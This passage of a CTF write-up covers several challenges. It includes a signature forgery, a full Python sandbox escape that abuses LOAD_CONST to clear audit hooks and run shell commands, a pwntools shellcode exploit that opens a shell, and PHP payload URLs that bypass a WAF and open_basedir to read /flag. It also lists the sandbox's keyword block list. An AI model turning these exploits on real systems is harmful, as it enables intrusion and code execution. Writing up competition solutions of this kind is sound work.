    x = torch.cat([ss, X], <span class="hljs-number">1</span>)
    x = x.view(<span class="hljs-number">-1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">64</span>)
    <span class="hljs-keyword">return</span> H(x)

<span class="hljs-keyword">try</span>:
    optim = torch.optim.SGD([s], lr=<span class="hljs-number">20000</span>)
    <span class="hljs-keyword">for</span> step <span class="hljs-keyword">in</span> range(<span class="hljs-number">100000</span>):
        <span class="hljs-comment"># MSE loss</span>
        loss = ((run(s, X) - Y) ** <span class="hljs-number">2</span>).mean()
        optim.zero_grad()
        loss.backward()
        <span class="hljs-keyword">if</span> (step &amp; <span class="hljs-number">0xff</span>) == <span class="hljs-number">0</span>:
            print(step, loss.item())
        optim.step()

        <span class="hljs-comment"># It is necessary to clip the range to avoid overfitting.</span>
        s.data = torch.clamp(s.data, <span class="hljs-number">-1</span>, <span class="hljs-number">1</span>)
<span class="hljs-keyword">except</span> KeyboardInterrupt:
    <span class="hljs-keyword">pass</span></code></pre><h3 id="gene"><a class="header-link" href="#gene"></a>gene</h3>
<p>In this task, we have a program that sign our message. Its sign/verify function is obfuscated with something similar to MoVfuscator.</p>
<p>In verify function, it calls a function at <code>0x404110</code> and generate some ATCGU string first, runs the obfuscated code to generate another, and finally checks those two strings are equal.</p>
<p>Tracing into the function <code>0x404110</code>, we can find the output buffer is initialized to <code>A + U * 128</code>, which looks like representation of 1, <code>A</code> means <code>1</code> and <code>U</code> means <code>0</code>.</p>
<p>Playing with the obfuscated block using something like <code>AUU...</code>, <code>UTUU...</code>,
we found that the string is actually a polynomial quotient ring, <code>0x404110</code> is exponential, and the obfuscated block is multiplication:</p>
<pre class="hljs"><code>U = <span class="hljs-number">0</span>
A = <span class="hljs-number">1</span>
G = <span class="hljs-number">2</span>
C = <span class="hljs-number">3</span>
T = <span class="hljs-number">4</span>

gene <span class="hljs-built_in">is</span> a polynomial <span class="hljs-built_in">quotient</span> ring with <span class="hljs-built_in">scalar</span> ring <span class="hljs-built_in">integer</span> <span class="hljs-built_in">mod</span> <span class="hljs-number">5</span>

generator
UUCAUGUACGTUTUCCCTAUAACGAUTUUCUUTCCATAGCUCCTUCGUCAGTAGGCUUCACCATUUAAUATAATUTCACAATAUCUCTAUAGCCUUGATUTCUGUGTAATCCUGCUUTAGTACUTTTAC

old <span class="hljs-built_in">modulus</span> (before binary update)
TAAGACGTACTTATTACGTAGCTACCTUTGTCACUUCAAUTCGGTUUUGTGUTUUCGUCATCCAAAGUACUATTCUTAGCGUGCAUUACUATCUUCCCTCAUTCTACGUCCAGAGTCCTCCACGUUGAGA

<span class="hljs-built_in">new</span> <span class="hljs-built_in">modulus</span>
ACAGCTUACTAUCAUTTAUTGGCAATUUAAAGGGGTUAATATTTCACTAGAACAAGTATGUACUGTGTUTUGGUUACACAUAGTGGATCGACTATUUCCCCGTAUCGATCUCGAGGTTGCUGGACUCGTA</code></pre><p>The verification algorithm looks like:</p>
<pre class="hljs"><code><span class="hljs-attribute">signature</span> := (r, e)
verify g<span class="hljs-regexp"> ^</span> e == u<span class="hljs-regexp"> ^</span> hash(m0, m1) * r</code></pre><p><code>u</code> is a secret value randomly generated at startup.
we can recover it with extended gcd:</p>
<pre class="hljs"><code>z, s, <span class="hljs-attr">t</span> = xgcd(h1, h2)
<span class="hljs-keyword">assert</span> <span class="hljs-attr">z</span> == <span class="hljs-number">1</span>
<span class="hljs-attr">uh1</span> = (g ^ e1) / r1
<span class="hljs-attr">uh2</span> = (g ^ e2) / r2
<span class="hljs-attr">u</span> = uh1^s * uh2^t</code></pre><p>Now we can sign our message with</p>
<pre class="hljs"><code>r := u ^ -hash(m0, m1)
e := <span class="hljs-number">1</span></code></pre><h2 id="misc"><a class="header-link" href="#misc"></a>Misc</h2>
<h3 id="pyaucalc"><a class="header-link" href="#pyaucalc"></a>PyAuCalc</h3>
<p>In this task, we have an sandboxed REPL. It use python audit hook to block events containing theses keywords:</p>
<pre class="hljs"><code><span class="hljs-string">"breakpoint"</span>
<span class="hljs-string">"ctypes"</span>
<span class="hljs-string">"fcntl"</span>
<span class="hljs-string">"ftplib"</span>
<span class="hljs-string">"glob"</span>
<span class="hljs-string">"imaplib"</span>
<span class="hljs-string">"import"</span>
<span class="hljs-string">"mmap"</span>
<span class="hljs-string">"msvcrt"</span>
<span class="hljs-string">"nntplib"</span>
<span class="hljs-string">"open"</span>
<span class="hljs-string">"os"</span>
<span class="hljs-string">"pdb"</span>
<span class="hljs-string">"poplib"</span>
<span class="hljs-string">"pty"</span>
<span class="hljs-string">"resource"</span>
<span class="hljs-string">"shutil"</span>
<span class="hljs-string">"smtplib"</span>
<span class="hljs-string">"socket"</span>
<span class="hljs-string">"sqlite3"</span>
<span class="hljs-string">"subprocess"</span>
<span class="hljs-string">"syslog"</span>
<span class="hljs-string">"telnetlib"</span>
<span class="hljs-string">"tempfile"</span>
<span class="hljs-string">"urllib"</span>
<span class="hljs-string">"webbrowser"</span>
<span class="hljs-string">"winreg"</span></code></pre><p>It also removes the builtins from global variables, which can be simply recover by:</p>
<pre class="hljs"><code>[<span class="hljs-string">(i)for(i)in([</span>].<span class="hljs-strong">__class__</span>.<span class="hljs-strong">__base__</span>.<span class="hljs-strong">__subclasses__</span>())if('Sized')in(i.<span class="hljs-strong">__name__</span>)][0].<span class="hljs-strong">__len__</span>.<span class="hljs-strong">__globals__</span>['<span class="hljs-strong">__builtins__</span>']</code></pre><p>We didn&#39;t found any module that could bypass the filter. However, there&#39;s a well known &quot;feature&quot; in all version of python that gives you arbitrary memory R/W (and also controling RIP) -- LOAD_CONST bytecode.</p>
<p>This <a href="https://doar-e.github.io/blog/2014/04/17/deep-dive-into-pythons-vm-story-of-load_const-bug/">blog</a> describe the feature in python2. It could be easily modified to python3 with cpython&#39;s source code. Also, instead of constructing a fake function object, we can construct a fake bytearray object point to 0x0 for arbitrary memory R/W.</p>
<p>One generic way to get the shell is ROP, but I lost my exploit about this.
I seeked for an easier way to expolit it during the competition.</p>
<p>Audit hooks is a NULL-terminate linked list stored in <code>audit_hook_head</code> in python runtime object. It&#39;s a global variable in the interpreter. We can get its address with:</p>
<pre class="hljs"><code><span class="hljs-comment"># Address depends on the interpreter</span>
<span class="hljs-attr">_PyRuntime</span> = <span class="hljs-number">0</span>x7f8a102c8c40 - <span class="hljs-number">0</span>x7f8a1028d940 + id(type)
<span class="hljs-attr">audit_hook_head</span> = _PyRuntime + <span class="hljs-number">0</span>x5b0</code></pre><p>Clear that pointer will remove the sandbox hook :)</p>
<p>Here is my full exploit:</p>
<pre class="hljs"><code><span class="hljs-comment"># Reference: https://doar-e.github.io/blog/2014/04/17/deep-dive-into-pythons-vm-story-of-load_const-bug/</span>

<span class="hljs-keyword">import</span> types
<span class="hljs-keyword">import</span> sys
print(sys.version)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">p8</span><span class="hljs-params">(s)</span>:</span>
    <span class="hljs-keyword">return</span> s.to_bytes(<span class="hljs-number">1</span>, <span class="hljs-string">'little'</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">p16</span><span class="hljs-params">(s)</span>:</span>
    <span class="hljs-keyword">return</span> s.to_bytes(<span class="hljs-number">2</span>, <span class="hljs-string">'little'</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">p32</span><span class="hljs-params">(s)</span>:</span>
    <span class="hljs-keyword">return</span> s.to_bytes(<span class="hljs-number">4</span>, <span class="hljs-string">'little'</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">p64</span><span class="hljs-params">(s)</span>:</span>
    <span class="hljs-keyword">return</span> s.to_bytes(<span class="hljs-number">8</span>, <span class="hljs-string">'little'</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">pwn</span><span class="hljs-params">()</span>:</span>
    print(<span class="hljs-number">1</span>)


print(hex(id(type)))
<span class="hljs-comment"># _PyRuntime = 0x7ffff7f474a0 - 0x7ffff7f3e160 + id(type)</span>
_PyRuntime = <span class="hljs-number">0x7f8a102c8c40</span> - <span class="hljs-number">0x7f8a1028d940</span> + id(type)
audit_hook_head = _PyRuntime + <span class="hljs-number">0x5b0</span>

<span class="hljs-comment"># heap</span>
z = []
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">100</span>):
    z.append((i,))
consts = z[<span class="hljs-number">-1</span>]

<span class="hljs-comment"># bytesobject raw data offset</span>
raw_off = <span class="hljs-number">0x20</span>

buf_obj = (
    <span class="hljs-comment"># REF_CNT             TYPE</span>
    p64(<span class="hljs-number">0xffff</span>)         + p64(id(bytearray)) +
    <span class="hljs-comment"># SIZE                SIZE</span>
    p64(<span class="hljs-number">0x7fffffffffff</span>) + p64(<span class="hljs-number">0x7fffffffffff</span>) +
    <span class="hljs-comment"># BUF                 START</span>
    p64(<span class="hljs-number">0</span>)              + p64(<span class="hljs-number">0</span>)
    )

s = p64(id(buf_obj) + raw_off)
addr_s = id(s) + raw_off
addr_c = id(consts)
print(addr_s - addr_c)
print(hex(addr_s))
print(hex(addr_c))
offset = (addr_s - addr_c - <span class="hljs-number">0x18</span>) // <span class="hljs-number">8</span>
<span class="hljs-keyword">assert</span> <span class="hljs-number">0xffffffff</span> &gt; offset &gt; <span class="hljs-number">0</span>

pwn.__code__ = types.CodeType(
  <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>,
  <span class="hljs-comment"># EXTENDED_ARG</span>
  <span class="hljs-string">b'\x90'</span> + p8((offset &gt;&gt; <span class="hljs-number">24</span>) &amp; <span class="hljs-number">0xff</span>) +
  <span class="hljs-string">b'\x90'</span> + p8((offset &gt;&gt; <span class="hljs-number">16</span>) &amp; <span class="hljs-number">0xff</span>) +
  <span class="hljs-string">b'\x90'</span> + p8((offset &gt;&gt; <span class="hljs-number">8</span>) &amp; <span class="hljs-number">0xff</span>) +
  <span class="hljs-comment"># LOAD_CONST</span>
  <span class="hljs-string">b'\x64'</span> + p8(offset &amp; <span class="hljs-number">0xff</span>) +
  <span class="hljs-comment"># RETURN_VALUE</span>
  <span class="hljs-string">b'\x53'</span> + p8(<span class="hljs-number">0</span>) +
  <span class="hljs-string">b''</span>
  ,
  consts, (), (), <span class="hljs-string">''</span>, <span class="hljs-string">''</span>, <span class="hljs-number">0</span>, <span class="hljs-string">b''</span>
)
mem = pwn()
print(len(mem))
print(mem[_PyRuntime:_PyRuntime+<span class="hljs-number">8</span>])
print(mem[audit_hook_head:audit_hook_head+<span class="hljs-number">8</span>])
mem[audit_hook_head:audit_hook_head+<span class="hljs-number">8</span>] = <span class="hljs-string">b'\0'</span> * <span class="hljs-number">8</span>
print(hex(id(type)))
print(<span class="hljs-string">'done'</span>)

<span class="hljs-keyword">import</span> os
os.system(<span class="hljs-string">'ls -lah /'</span>)
os.system(<span class="hljs-string">'/readflag'</span>)</code></pre><p>Also, the code to bypass input filter:</p>
<pre class="hljs"><code><span class="hljs-keyword">import</span> re
<span class="hljs-keyword">import</span> codecs
<span class="hljs-keyword">from</span> telnetlib <span class="hljs-keyword">import</span> Telnet


code = <span class="hljs-string">"""
print(42)
print(43)
"""</span>
code = <span class="hljs-string">'XXX'</span> + codecs.encode(code.encode(), <span class="hljs-string">'hex'</span>).decode()
magic = <span class="hljs-string">"""
[b['exec'](b['bytes'].fromhex([(c[3:])for(c)in(b['vars']().keys())if(c[:3]=='XXX')][0]),{'__builtins__':b})for(b,%s)in[(
    [(i)for(i)in([].__class__.__base__.__subclasses__())if('Sized')in(i.__name__)][0]
        .__len__.__globals__['__builtins__']
,0)]]
"""</span> % code
magic = re.sub(<span class="hljs-string">r'\s'</span>, <span class="hljs-string">r''</span>, magic)
print(len(magic))
<span class="hljs-comment"># print(eval(magic))</span>
r = Telnet(<span class="hljs-string">'pwnable.org'</span>, <span class="hljs-number">41337</span>)
r.write(magic.encode() + <span class="hljs-string">b'\n'</span>)
r.interact()</code></pre><h3 id="eeemoji"><a class="header-link" href="#eeemoji"></a>eeemoji</h3>
<ul class="list">
<li>Can only execute 2 bytes of our input as shellcode</li>
<li>Register <code>r11</code> is the pointer of our input</li>
<li><code>push r11</code> so that it will return to our input after executing shellcode</li>
</ul>
<p>Exploit:</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>
<span class="hljs-comment"># -*- coding: UTF-8 -*-</span>

<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

context.arch = <span class="hljs-string">'amd64'</span>

<span class="hljs-comment"># r = process('./eeemoji')</span>
r = remote(<span class="hljs-string">'pwnable.org'</span>, <span class="hljs-number">31322</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">horse</span><span class="hljs-params">(data)</span>:</span>
    r.sendlineafter(<span class="hljs-string">'🐮🍺\n'</span>, <span class="hljs-string">'🐴'</span>)
    r.send(data)
    sleep(<span class="hljs-number">0.5</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">cow</span><span class="hljs-params">()</span>:</span>
    r.sendlineafter(<span class="hljs-string">'🐮🍺\n'</span>, <span class="hljs-string">'🐮'</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">beer</span><span class="hljs-params">()</span>:</span>
    r.sendlineafter(<span class="hljs-string">'🐮🍺\n'</span>, <span class="hljs-string">'🍺'</span>)


beer()
r.recvuntil(<span class="hljs-string">'at @'</span>)
buf = int(r.recvline().strip(), <span class="hljs-number">16</span>)
log.success(<span class="hljs-string">'buf: '</span> + hex(buf))

payload = <span class="hljs-string">''</span>
payload = unichr(<span class="hljs-number">0x0cc031</span>).encode(<span class="hljs-string">'utf-8'</span>)*<span class="hljs-number">2</span>
payload += unichr(<span class="hljs-number">0x0cff31</span>).encode(<span class="hljs-string">'utf-8'</span>)
payload += unichr(<span class="hljs-number">0x0cca31</span>).encode(<span class="hljs-string">'utf-8'</span>)
payload += unichr(<span class="hljs-number">0x0c050f</span>).encode(<span class="hljs-string">'utf-8'</span>)
payload += unichr(<span class="hljs-number">0x5341</span>).encode(<span class="hljs-string">'utf-8'</span>)*(<span class="hljs-number">0x80</span><span class="hljs-number">-5</span>)
payload += unichr(<span class="hljs-number">0x5341</span>).encode(<span class="hljs-string">'utf-8'</span>)
<span class="hljs-keyword">print</span> payload
horse(payload)

r.sendline(<span class="hljs-string">'a'</span>*<span class="hljs-number">0x12</span> + asm(shellcraft.sh()))

r.interactive()</code></pre><p>Flag: <code>flag{zer0_address_is_so0o0o0o_dangerous}</code></p>
<h3 id="cloud-computing-v1"><a class="header-link" href="#cloud-computing-v1"></a>Cloud Computing v1</h3>
<p><a href="http://pwnable.org:47780">http://pwnable.org:47780</a></p>
<pre class="hljs"><code><span class="php"><span class="hljs-meta">&lt;?php</span> <span class="hljs-comment">//index.php</span>

error_reporting(<span class="hljs-number">0</span>);

<span class="hljs-keyword">include</span> <span class="hljs-string">'function.php'</span>;

$dir = <span class="hljs-string">'sandbox/'</span> . sha1($_SERVER[<span class="hljs-string">'REMOTE_ADDR'</span>] . $_SERVER[<span class="hljs-string">'HTTP_USER_AGENT'</span>]) . <span class="hljs-string">'/'</span>;

<span class="hljs-keyword">if</span>(!file_exists($dir)){
    mkdir($dir);
}

<span class="hljs-keyword">switch</span> ($_GET[<span class="hljs-string">"action"</span>] ?? <span class="hljs-string">""</span>) {
    <span class="hljs-keyword">case</span> <span class="hljs-string">'pwd'</span>:
        <span class="hljs-keyword">echo</span> $dir;
    <span class="hljs-keyword">break</span>;
    <span class="hljs-keyword">case</span> <span class="hljs-string">'upload'</span>:
        $data = $_GET[<span class="hljs-string">"data"</span>] ?? <span class="hljs-string">""</span>;
        <span class="hljs-keyword">if</span> (waf($data)) {
            <span class="hljs-keyword">die</span>(<span class="hljs-string">'waf sucks...'</span>);
        }
        file_put_contents(<span class="hljs-string">"$dir"</span> . <span class="hljs-string">"index.php"</span>, $data);
    <span class="hljs-keyword">case</span> <span class="hljs-string">'shell'</span>:
        initShellEnv($dir);
        <span class="hljs-keyword">include</span> $dir . <span class="hljs-string">"index.php"</span>;
    <span class="hljs-keyword">break</span>;
    <span class="hljs-keyword">default</span>:
        highlight_file(<span class="hljs-keyword">__FILE__</span>);
    <span class="hljs-keyword">break</span>;
}</span></code></pre><ul class="list">
<li>in <code>action=upload</code> we can write php and include it</li>
<li>use <code>data[]=&lt;?php ?&gt;</code> to bypass waf</li>
<li>use <code>var_dump(get_defined_functions())</code> to check defined function</li>
<li>find <code>ini_set, mkdir, chdir</code> is defined =&gt; <code>chdir(&#39;..&#39;)</code> to bypass <code>open_baseurl</code></li>
<li><code>http://pwnable.org:47780/?action=upload&amp;data[]=%3C?php%20error_reporting(E_ALL);show_source($dir.%27index.php%27);chdir($dir);mkdir(%27sub%27);chdir(%27sub%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);var_dump(scandir(%27/%27));%20?%3E</code> =&gt; scandir(&#39;/&#39;)</li>
<li>use <code>file_get_contents(php://filter/convert.base64-encode/resource=/flag)</code> to download flag.img</li>
<li>find an png in flag.img - todo</li>
<li><code>flag{do_u_like_cloud_computing}</code></li>
</ul>
<h3 id="cloud-computing-v2"><a class="header-link" href="#cloud-computing-v2"></a>Cloud Computing v2</h3>
<ul class="list">
<li><code>chdir</code> is disabled </li>
<li>there is an agent listening at 127.0.0.1 with root privilege</li>
<li>reverse agent - todo</li>
<li>3 api: init, read, scan<ul class="list">
<li>init?dir=<dir>: create a config.json file with <code>{&quot;ban&quot;:&quot;flag&quot;}</code> if the <dir> is legal</li>
<li>read?target=<target>&amp;dir=<dir>: check if there is an config file under <dir> own by root, parse config.json, if no characters in &quot;ban&quot; appear in <target>, print base64(<target>)</li>
<li>scan?dir=<dir>:clear <dir>*.php if <dir> is legal</li>
</ul>
</li>
<li>init =&gt; use <code>symlink</code> to create <code>a.php</code> link to <code>config.json</code> =&gt; scan =&gt; clear config.json =&gt; read <code>/flag</code></li>
<li><code>http://pwnable.org:47781/?action=upload&amp;data[]=%3C?php%20error_reporting(E_ALL);ini_set(&#39;display_errors&#39;,1);var_dump(file_get_contents(&#39;http://127.0.0.1/init?dir=/var/www/html/&#39;.$dir.&#39;/&#39;));symlink(&#39;config.json&#39;,$dir.&#39;w.php&#39;);var_dump(file_get_contents(&#39;http://127.0.0.1/scan?dir=/var/www/html/&#39;.$dir.&#39;/&#39;));var_dump(file_get_contents(&#39;http://127.0.0.1/read?target=/flag%26dir=/var/www/html/&#39;.$dir.&#39;/&#39;));?%3E</code></li>
<li><code>flag{dc6a73af052c6135b4c6356a4aaf0b58}</code></li>
</ul>
        </article>
      </div>
    </div>
  </body>
</html>
